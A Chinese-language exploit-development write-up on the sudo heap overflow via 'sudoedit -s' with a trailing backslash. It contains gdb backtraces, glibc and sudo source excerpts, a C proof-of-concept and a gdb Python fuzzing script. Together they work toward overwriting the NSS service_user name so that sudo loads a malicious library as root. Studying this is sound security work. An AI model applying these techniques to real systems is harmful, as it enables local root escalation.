'\''AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA''\'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
51    ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
#0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
#1  0x00007fed1ccb0921 in __GI_abort () at abort.c:79
#2  0x00007fed1ccf9967 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7fed1ce26b0d "%s\n") at ../sysdeps/posix/libc_fatal.c:181
#3  0x00007fed1cd009da in malloc_printerr (str=str@entry=0x7fed1ce28818 "double free or corruption (out)") at malloc.c:5342
#4  0x00007fed1cd07f6a in _int_free (have_lock=0, p=0x55b4d8b94b20, av=0x7fed1d05bc40 <main_arena>) at malloc.c:4308
#5  __GI___libc_free (mem=0x55b4d8b94b30) at malloc.c:3134
#6  0x00007fed1cc9d756 in setname (name=0x7fed1ce258e1 <_nl_C_name> "C", category=10) at setlocale.c:201
#7  __GI_setlocale (category=category@entry=6, locale=locale@entry=0x55b4d8b864a0 "C") at setlocale.c:386
#8  0x00007fed1bce4fe8 in sudoers_setlocale (locale_type=locale_type@entry=1, prev_locale=prev_locale@entry=0x7ffd39303aa0) at ../../../plugins/sudoers/locale.c:116
#9  0x00007fed1bcf68f4 in sudoers_policy_main (argc=argc@entry=2, argv=argv@entry=0x55b4d8b80e50, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, verbose=verbose@entry=false, closure=closure@entry=0x7ffd39303b20) at ../../../plugins/sudoers/sudoers.c:419
#10 0x00007fed1bcee8ec in sudoers_policy_check (argc=2, argv=0x55b4d8b80e50, env_add=0x0, command_infop=0x7ffd39303be0, argv_out=0x7ffd39303be8, user_env_out=0x7ffd39303bf0, errstr=0x7ffd39303c08) at ../../../plugins/sudoers/policy.c:1028
#11 0x000055b4d79ae6f0 in policy_check (user_env_out=0x7ffd39303bf0, argv_out=0x7ffd39303be8, command_info=0x7ffd39303be0, env_add=0x0, argv=0x55b4d8b80e50, argc=2) at ../../src/sudo.c:1171
#12 main (argc=argc@entry=3, argv=argv@entry=0x7ffd39303e78, envp=0x7ffd39303e98) at ../../src/sudo.c:269
#13 0x00007fed1cc91bf7 in __libc_start_main (main=0x55b4d79ae080 <main>, argc=3, argv=0x7ffd39303e78, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffd39303e68) at ../csu/libc-start.c:310
#14 0x000055b4d79b074a in _start ()

漏洞利用

nss呼叫鏈分析

  關於nss的漏洞利用方式如下所示:

  漏洞發現者提出的其中一種漏洞利用的方式,是通過覆寫堆中service_user struct,然後通過nss_load_library函式載入惡意的動態連結庫。對應的就是上面fuzz結果中的第一條路徑:

4038    malloc.c: No such file or directory.
#0  _int_malloc (av=av@entry=0x7f170b772c40 <main_arena>, bytes=bytes@entry=384) at malloc.c:4038
#1  0x00007f170b4211f1 in __libc_calloc (n=<optimized out>, elem_size=<optimized out>) at malloc.c:3446
#2  0x00007f170bdc8026 in _dl_check_map_versions (map=<optimized out>, verbose=verbose@entry=0, trace_mode=trace_mode@entry=0) at dl-version.c:274
#3  0x00007f170bdcb3ec in dl_open_worker (a=a@entry=0x7ffd43dfcee0) at dl-open.c:284
#4  0x00007f170b4ee1ef in __GI__dl_catch_exception (exception=0x7ffd43dfcec0, operate=0x7f170bdcaf60 <dl_open_worker>, args=0x7ffd43dfcee0) at dl-error-skeleton.c:196
#5  0x00007f170bdca96a in _dl_open (file=0x7ffd43dfd150 "libnss_systemd.so.2", mode=-2147483647, caller_dlopen=0x7f170b4cf766 <nss_load_library+294>, nsid=<optimized out>, argc=3, argv=<optimized out>, env=0x7ffd43dfde48) at dl-open.c:605
#6  0x00007f170b4ed2bd in do_dlopen (ptr=ptr@entry=0x7ffd43dfd110) at dl-libc.c:96
#7  0x00007f170b4ee1ef in __GI__dl_catch_exception (exception=exception@entry=0x7ffd43dfd0b0, operate=operate@entry=0x7f170b4ed280 <do_dlopen>, args=args@entry=0x7ffd43dfd110) at dl-error-skeleton.c:196
#8  0x00007f170b4ee27f in __GI__dl_catch_error (objname=objname@entry=0x7ffd43dfd100, errstring=errstring@entry=0x7ffd43dfd108, mallocedp=mallocedp@entry=0x7ffd43dfd0ff, operate=operate@entry=0x7f170b4ed280 <do_dlopen>, args=args@entry=0x7ffd43dfd110) at dl-error-skeleton.c:215
#9  0x00007f170b4ed3e9 in dlerror_run (args=0x7ffd43dfd110, operate=0x7f170b4ed280 <do_dlopen>) at dl-libc.c:46
#10 __GI___libc_dlopen_mode (name=name@entry=0x7ffd43dfd150 "libnss_systemd.so.2", mode=mode@entry=-2147483647) at dl-libc.c:195
#11 0x00007f170b4cf766 in nss_load_library (ni=0x556ad9984ed0) at nsswitch.c:369
#12 0x00007f170b4cff68 in __GI___nss_lookup_function (ni=ni@entry=0x556ad9984ed0, fct_name=<optimized out>, fct_name@entry=0x7f170b53c250 "initgroups_dyn") at nsswitch.c:477
#13 0x00007f170b4677e7 in internal_getgrouplist (user=user@entry=0x556ad998d9c8 "root", group=group@entry=0, size=size@entry=0x7ffd43dfd2a8, groupsp=groupsp@entry=0x7ffd43dfd2b0, limit=limit@entry=-1) at initgroups.c:105
#14 0x00007f170b467ab1 in getgrouplist (user=user@entry=0x556ad998d9c8 "root", group=group@entry=0, groups=groups@entry=0x7f170bf74010, ngroups=ngroups@entry=0x7ffd43dfd304) at initgroups.c:169
#15 0x00007f170b99fbbd in sudo_getgrouplist2_v1 (name=0x556ad998d9c8 "root", basegid=0, groupsp=groupsp@entry=0x7ffd43dfd360, ngroupsp=ngroupsp@entry=0x7ffd43dfd35c) at ../../../lib/util/getgrouplist.c:98

  整個函式呼叫鏈就是這樣的:

sudo_getgrouplist2_v1 -> getgrouplist -> internal_getgrouplist -> __GI__nss_lookup_function -> nss_load_library

  gdb中,讓程式crash之後,跟進到sudo_getgrouplist2_v1函式中,sudo_getgrouplist2_v1中原始碼如下:

int
sudo_getgrouplist2_v1(const char *name, GETGROUPS_T basegid,
    GETGROUPS_T **groupsp, int *ngroupsp)
{
    GETGROUPS_T *groups = *groupsp;
    int ngroups;
#ifndef HAVE_GETGROUPLIST_2
    int grpsize, tries;
#endif

    /* For static group vector, just use getgrouplist(3). */
    if (groups != NULL)
    return getgrouplist(name, basegid, groups, ngroupsp);

#ifdef HAVE_GETGROUPLIST_2
    if ((ngroups = getgrouplist_2(name, basegid, groupsp)) == -1)
    return -1;
    *ngroupsp = ngroups;
    return 0;
#else
    grpsize = (int)sysconf(_SC_NGROUPS_MAX);
    if (grpsize < 0)
    grpsize = NGROUPS_MAX;
    grpsize++;    /* include space for the primary gid */
    /*
     * It is possible to belong to more groups in the group database
     * than NGROUPS_MAX.
     */
    for (tries = 0; tries < 10; tries++) {
    free(groups);
    groups = reallocarray(NULL, grpsize, sizeof(*groups));
    if (groups == NULL)
        return -1;
    ngroups = grpsize;
    if (getgrouplist(name, basegid, groups, &ngroups) != -1) {
        *groupsp = groups;
        *ngroupsp = ngroups;
        return 0;
    }
    if (ngroups == grpsize) {
        /* Failed for some reason other than ngroups too small. */
        break;
    }
    /* getgrouplist(3) set ngroups to the required length, use it. */
    grpsize = ngroups;
    }
    free(groups);
    return -1;
#endif /* HAVE_GETGROUPLIST_2 */
}

 

  如果groups值為0的話,就會呼叫reallocarray函式,從而觸發malloc報錯。groups變數是由傳遞進來的groupsp賦值的,所以需要看一下groupsp引數被傳入之前,是如何被賦值的:

    if (sudo_user.max_groups > 0) {
  // sudo_user.max_groups大於0時,進入這一條分支 ngids
= sudo_user.max_groups; gids = reallocarray(NULL, ngids, sizeof(GETGROUPS_T)); if (gids == NULL) { sudo_debug_printf(SUDO_DEBUG_ERROR|SUDO_DEBUG_LINENO, "unable to allocate memory"); debug_return_ptr(NULL); } (void)sudo_getgrouplist2(pw->pw_name, pw->pw_gid, &gids, &ngids); } else { gids = NULL; if (sudo_getgrouplist2(pw->pw_name, pw->pw_gid, &gids, &ngids) == -1) { sudo_debug_printf(SUDO_DEBUG_ERROR|SUDO_DEBUG_LINENO, "unable to allocate memory"); debug_return_ptr(NULL); }

  關於reallocarray函式原型如下:

void *reallocarray(void *ptr, size_t nelem, size_t elsize);
The reallocarray() function behaves like realloc() except that the new size of the allocation will be large enough for an array of nelem elements of size elsize.
If padding is necessary to ensure proper alignment of entries in the array, the caller is responsible for including that in the elsize parameter.

  reallocarray函式會進行乘法溢位的檢查,恰好sudo_getgrouplist2_v1函式呼叫reallocarray的時候就發生了一個乘法溢位,這就是最多的那條crash的路徑。如何讓poc規避這條路徑成了我最迫切想要做的事情,需要再去除錯研究一下堆佈局。

int
getgrouplist (const char *user, gid_t group, gid_t *groups, int *ngroups)
{
  long int size = MAX (1, *ngroups);

  gid_t *newgroups = (gid_t *) malloc (size * sizeof (gid_t));
  if (__glibc_unlikely (newgroups == NULL))
    /* No more memory.  */
    // XXX This is wrong.  The user provided memory, we have to use
    // XXX it.  The internal functions must be called with the user
    // XXX provided buffer and not try to increase the size if it is
    // XXX too small.  For initgroups a flag could say: increase size.
    return -1;

  int total = internal_getgrouplist (user, group, &size, &newgroups, -1);
 ......
static int
internal_getgrouplist (const char *user, gid_t group, long int *size,
               gid_t **groupsp, long int limit)
{
#ifdef USE_NSCD
  if (__nss_not_use_nscd_group > 0
      && ++__nss_not_use_nscd_group > NSS_NSCD_RETRY)
    __nss_not_use_nscd_group = 0;
  if (!__nss_not_use_nscd_group
      && !__nss_database_custom[NSS_DBSIDX_group])
    {
      int n = __nscd_getgrouplist (user, group, size, groupsp, limit);
      if (n >= 0)
    return n;

      /* nscd is not usable.  */
      __nss_not_use_nscd_group = 1;
    }
#endif

  enum nss_status status = NSS_STATUS_UNAVAIL;
  int no_more = 0;

  /* Never store more than the starting *SIZE number of elements.  */
  assert (*size > 0);
  (*groupsp)[0] = group;
  /* Start is one, because we have the first group as parameter.  */
  long int start = 1;

  if (__nss_initgroups_database == NULL)
    {
      if (__nss_database_lookup ("initgroups", NULL, "",
                 &__nss_initgroups_database) < 0)
    {
      if (__nss_group_database == NULL)
        no_more = __nss_database_lookup ("group", NULL, DEFAULT_CONFIG,
                         &__nss_group_database);

      __nss_initgroups_database = __nss_group_database;
    }
      else
    use_initgroups_entry = true;
    }
  else
    /* __nss_initgroups_database might have been set through
       __nss_configure_lookup in which case use_initgroups_entry was
       not set here.  */
    use_initgroups_entry = __nss_initgroups_database != __nss_group_database;

  service_user *nip = __nss_initgroups_database;
  while (! no_more)
    {
      long int prev_start = start;

      initgroups_dyn_function fct = __nss_lookup_function (nip,
                               "initgroups_dyn");
......
}

  nss_load_library關鍵程式碼如下所示:

static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {
      /* This service has not yet been used.  Fetch the service
     library for it, creating a new one if need be.  If there
     is no service table from the file, this static variable
     holds the head of the service_library list made from the
     default configuration.  */
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,
                     ni->name);
      if (ni->library == NULL)
    return -1;
    }

  if (ni->library->lib_handle == NULL)
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3
              + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;
      char shlib_name[shlen];

      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                          "libnss_"),
                    ni->name),
              ".so"),
        __nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);
      if (ni->library->lib_handle == NULL)
    {
      /* Failed to load the library.  */
      ni->library->lib_handle = (void *) -1l;
      __set_errno (saved_errno);
    }

  滿足ni->library != NULL ,ni->library->handler == NULL時,nss_load_library會呼叫__strcpy來拼接動態連結庫名稱,然後呼叫__libc_dlopen來載入惡意動態連結庫檔案。

堆風水

   編寫如下poc,附加到gdb進行除錯:

sudo gdb --args ./poc
#include<stdio.h>
#include<stdlib.h>

int main()
{
        char *env[]={"AAA","\\","BBB","\\",NULL};
        char *arg[]={"./sudoedit","-s","111111111111111\\"};
        execve("./sudoedit",arg,env);
        return 0;
}

  在setlocale函式處和sudoers.c:953處下斷點,檢視堆佈局:

 

  複寫的結構體,通過以下命令進行查詢:

search -s systemd [heap]

  可以看到,service_user所在chunk在bins中chunk的低地址處,向後單步,申請處sudo_uasr.cmnd_user_args之後,檢視堆佈局:

   如果始終是這種堆佈局的話,這個漏洞是無法利用的,heap是由低位向高位增長的空間,高位的溢位無法複寫低位的地址。所以,要想成功利用堆溢位,sudo_user.cmnd_args就要申請到service_user的低位地址處。

  而改寫堆佈局的方法,是由setlocale函式來實現的。

setlocale函式

  setlocale函式原型如下:

char* setlocale (int category, const char* locale);

  setlocale() 函式既可以用來對當前程式進行地域設定(本地設定、區域設定),也可以用來獲取當前程式的地域設定資訊,使用setlocale需要兩個引數,這兩個引數實際上是一對鍵值對,第一個引數category引數用來設定地域設定的影響範圍。地域設定包含日期格式、數字格式、貨幣格式、字元處理、字元比較等多個方面的內容,當前的地域設定可以隻影響某一方面的內容,也可以影響所有的內容。第二個引數是字串,就是category的值。

  關於setlocale函式:C setlocale函式

  setlocale函式原始碼在setlocale.c中,可以結合setlocale原始碼對setlocale的堆申請流程做進一步分析。當locale引數的值為NULL時,返回_nl_global_locale.__name欄位,設定預設的地域資訊"C",函式定義的區域性變數中,locale_path是一個字串型別指標,會被賦值為一個堆中的地址:

char *
setlocale (int category, const char *locale)
{
  char *locale_path;
  size_t locale_path_len;
  const char *locpath_var;
  if (__builtin_expect (category, 0) < 0
      || __builtin_expect (category, 0) >= __LC_LAST)
    ERROR_RETURN;

  /* Does user want name of current locale?  */
  if (locale == NULL)
    return (char *) _nl_global_locale.__names[category];

  當category等於LC_ALL且locale不為NULL時,setlocale函式會建立一個指標陣列newnames,newnames中的元素被賦值為locale,locale引數的值是存放在堆中的,同時strdup會隱性呼叫malloc函式申請一塊堆塊locale_copy:

if (category == LC_ALL)
    {
      /* The user wants to set all categories.  The desired locales
     for the individual categories can be selected by using a
     composite locale name.  This is a semi-colon separated list
     of entries of the form `CATEGORY=VALUE'.  */
      const char *newnames[__LC_LAST];
      struct __locale_data *newdata[__LC_LAST];
      /* Copy of the locale argument, for in-place splitting.  */
      char *locale_copy = NULL;

      /* Set all name pointers to the argument name.  */
      for (category = 0; category < __LC_LAST; ++category)
    if (category != LC_ALL)
      newnames[category] = (char *) locale;

      if (__glibc_unlikely (strchr (locale, ';') != NULL))
    {
      /* This is a composite name.  Make a copy and split it up.  */
      locale_copy = __strdup (locale);

  fuzz指令碼缺乏對環境變數的處理,導致了之前fuzz結果沒有出現nss_load_library路徑,修改後的指令碼和輸出結果如下:

import gdb
import random

categorys = ["LC_CTYPE","LC_MONETARY","LC_NUMERIC","LC_TIME"]
locales = ["C.UTF-8","en_US.UTF-8"]

class Generators:
    fuzz_input = ""
    env = ""

    def generate(self):
        self.env = ""
        self.fuzz_input = ""
        # create input
        count = random.randint(1,4)
        length = random.randint(0x10,0x280)
        self.fuzz_input = "'"+'A'*length+"\\"+"'"
        
        strategie = random.randint(1,2)
        if strategie == 1:
            self.env += "LC_ALL" + "="
            self.env += random.choice(locales)
            self.env += "@"*random.randint(0,0x70)
            '''
            if (__glibc_unlikely (strchr (locale, ';') != NULL))
            {
            /* This is a composite name.  Make a copy and split it up.  */
                locale_copy = __strdup (locale);
                if (__glibc_unlikely (locale_copy == NULL))
                {
                    __libc_rwlock_unlock (__libc_setlocale_lock);
                    return NULL;
                }
            '''
        else:
            num = random.randint(0,4)
            for i in range(num):
                self.env += categorys[i] + "="
                self.env += random.choice(locales)
                self.env += "@"*random.randint(0,0x10)
                if i != num:
                    self.env += ";"
        return self.fuzz_input,self.env

def loop(G):
    for i in range(2000):
        try:
            setargs,setenv = G.generate(G)
            print('\n%s'%setargs)
            gdb.execute("set env %s"%setenv)
            print("%s"%setenv)
            gdb.execute("r -s %s"%setargs)
            gdb.execute("bt")
        except Exception as e:
            print('\n%s\n'%e)

gdb.execute("set pagination off")
gdb.execute("set logging on ./crashlog.output")
G = Generators
loop(G)
gdb.execute("quit")
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\'
LC_ALL=en_US.UTF-8@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
2952    malloc.c: No such file or directory.
#0  tcache_get (tc_idx=2) at malloc.c:2952
#1  __GI___libc_malloc (bytes=42) at malloc.c:3060
#2  0x00007fb90a457598 in _dl_new_object (realname=realname@entry=0x55a240dffc30 "/lib/x86_64-linux-gnu/libnss_systemd.so.2", libname=libname@entry=0x7ffe9989d110 "libnss_systemd.so.2", type=type@entry=2, loader=<optimized out>, loader@entry=0x0, mode=mode@entry=-1879048191, nsid=nsid@entry=0) at dl-object.c:163
#3  0x00007fb90a451a05 in _dl_map_object_from_fd (name=name@entry=0x7ffe9989d110 "libnss_systemd.so.2", origname=origname@entry=0x0, fd=6, fbp=fbp@entry=0x7ffe9989c930, realname=0x55a240dffc30 "/lib/x86_64-linux-gnu/libnss_systemd.so.2", loader=loader@entry=0x0, l_type=2, mode=-1879048191, stack_endp=0x7ffe9989c928, nsid=0) at dl-load.c:998
#4  0x00007fb90a4541ac in _dl_map_object (loader=0x0, loader@entry=0x7fb90a64cf00, name=name@entry=0x7ffe9989d110 "libnss_systemd.so.2", type=type@entry=2, trace_mode=trace_mode@entry=0, mode=mode@entry=-1879048191, nsid=<optimized out>) at dl-load.c:2460
#5  0x00007fb90a460084 in dl_open_worker (a=a@entry=0x7ffe9989cea0) at dl-open.c:235
#6  0x00007fb909b831ef in __GI__dl_catch_exception (exception=0x7ffe9989ce80, operate=0x7fb90a45ff60 <dl_open_worker>, args=0x7ffe9989cea0) at dl-error-skeleton.c:196
#7  0x00007fb90a45f96a in _dl_open (file=0x7ffe9989d110 "libnss_systemd.so.2", mode=-2147483647, caller_dlopen=0x7fb909b64766 <nss_load_library+294>, nsid=<optimized out>, argc=3, argv=<optimized out>, env=0x7ffe9989de08) at dl-open.c:605
#8  0x00007fb909b822bd in do_dlopen (ptr=ptr@entry=0x7ffe9989d0d0) at dl-libc.c:96
#9  0x00007fb909b831ef in __GI__dl_catch_exception (exception=exception@entry=0x7ffe9989d070, operate=operate@entry=0x7fb909b82280 <do_dlopen>, args=args@entry=0x7ffe9989d0d0) at dl-error-skeleton.c:196
#10 0x00007fb909b8327f in __GI__dl_catch_error (objname=objname@entry=0x7ffe9989d0c0, errstring=errstring@entry=0x7ffe9989d0c8, mallocedp=mallocedp@entry=0x7ffe9989d0bf, operate=operate@entry=0x7fb909b82280 <do_dlopen>, args=args@entry=0x7ffe9989d0d0) at dl-error-skeleton.c:215
#11 0x00007fb909b823e9 in dlerror_run (args=0x7ffe9989d0d0, operate=0x7fb909b82280 <do_dlopen>) at dl-libc.c:46
#12 __GI___libc_dlopen_mode (name=name@entry=0x7ffe9989d110 "libnss_systemd.so.2", mode=mode@entry=-2147483647) at dl-libc.c:195
#13 0x00007fb909b64766 in nss_load_library (ni=0x55a240dfba10) at nsswitch.c:369
#14 0x00007fb909b64f68 in __GI___nss_lookup_function (ni=ni@entry=0x55a240dfba10, fct_name=<optimized out>, fct_name@entry=0x7fb909bd1250 "initgroups_dyn") at nsswitch.c:477
#15 0x00007fb909afc7e7 in internal_getgrouplist (user=user@entry=0x55a240e02c38 "root", group=group@entry=0, size=size@entry=0x7ffe9989d268, groupsp=groupsp@entry=0x7ffe9989d270, limit=limit@entry=-1) at initgroups.c:105
#16 0x00007fb909afcab1 in getgrouplist (user=user@entry=0x55a240e02c38 "root", group=group@entry=0, groups=groups@entry=0x7fb90a609010, ngroups=ngroups@entry=0x7ffe9989d2c4) at initgroups.c:169
#17 0x00007fb90a034bbd in sudo_getgrouplist2_v1 (name=0x55a240e02c38 "root", basegid=0, groupsp=groupsp@entry=0x7ffe9989d320, ngroupsp=ngroupsp@entry=0x7ffe9989d31c) at ./getgrouplist.c:98
#18 0x00007fb908ab7587 in sudo_make_gidlist_item (pw=0x55a240e02c08, unused1=<optimized out>, type=1) at ./pwutil_impl.c:269
#19 0x00007fb908ab626a in sudo_get_gidlist (pw=0x55a240e02c08, type=type@entry=1) at ./pwutil.c:926
#20 0x00007fb908aaf695 in runas_getgroups () at ./match.c:141
#21 0x00007fb908a9f2ce in runas_setgroups () at ./set_perms.c:1584
#22 set_perms (perm=perm@entry=5) at ./set_perms.c:275
#23 0x00007fb908a97ecc in sudoers_lookup (snl=0x7fb908cf4d80 <snl>, pw=0x55a240e02c08, cmnd_status=cmnd_status@entry=0x7fb908cf4d94 <cmnd_status>, pwflag=pwflag@entry=0) at ./parse.c:355
#24 0x00007fb908aa2912 in sudoers_policy_main (argc=argc@entry=2, argv=argv@entry=0x55a240dfe950, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, verbose=verbose@entry=false, closure=closure@entry=0x7ffe9989da90) at ./sudoers.c:420
#25 0x00007fb908a9a8ec in sudoers_policy_check (argc=2, argv=0x55a240dfe950, env_add=0x0, command_infop=0x7ffe9989db50, argv_out=0x7ffe9989db58, user_env_out=0x7ffe9989db60, errstr=0x7ffe9989db78) at ./policy.c:1028
#26 0x000055a23f40b6f0 in policy_check (user_env_out=0x7ffe9989db60, argv_out=0x7ffe9989db58, command_info=0x7ffe9989db50, env_add=0x0, argv=0x55a240dfe950, argc=2) at ./sudo.c:1171
#27 main (argc=argc@entry=3, argv=argv@entry=0x7ffe9989dde8, envp=0x7ffe9989de08) at ./sudo.c:269
#28 0x00007fb909a3dbf7 in __libc_start_main (main=0x55a23f40b080 <main>, argc=3, argv=0x7ffe9989dde8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffe9989ddd8) at ../csu/libc-start.c:310
#29 0x000055a23f40d74a in _start ()

   設定好環境變數,在gdb中除錯,等到crash之後,gdb除錯函式呼叫棧,看到函式通過nss_load_library函式呼叫開啟libnss_systemd.so這個動態連結庫的時候發生崩潰。斷點下到sudoers.c:953處,可以看到sudo在為命令列引數申請堆塊之前的堆佈局,同時檢視ni->name欄位在堆中的地址(檢視systemd字串),可以看到tachebin中存在一塊chunk在ni->name欄位的低地址處。如果可以申請到這一塊chunk,同時控制溢位的長度和內容,那麼我們就可以覆蓋ni->name欄位的內容,從而載入惡意的動態連結庫。

  sudo_user.cmnd_args後緊跟著的就是環境變數的值,所以溢位的內容實際也是由環境變數控制的。

  

 

 

 

 

  

 

 

 

  

  

  

 

 

 

 

   

  

 

  

  

  

相關文章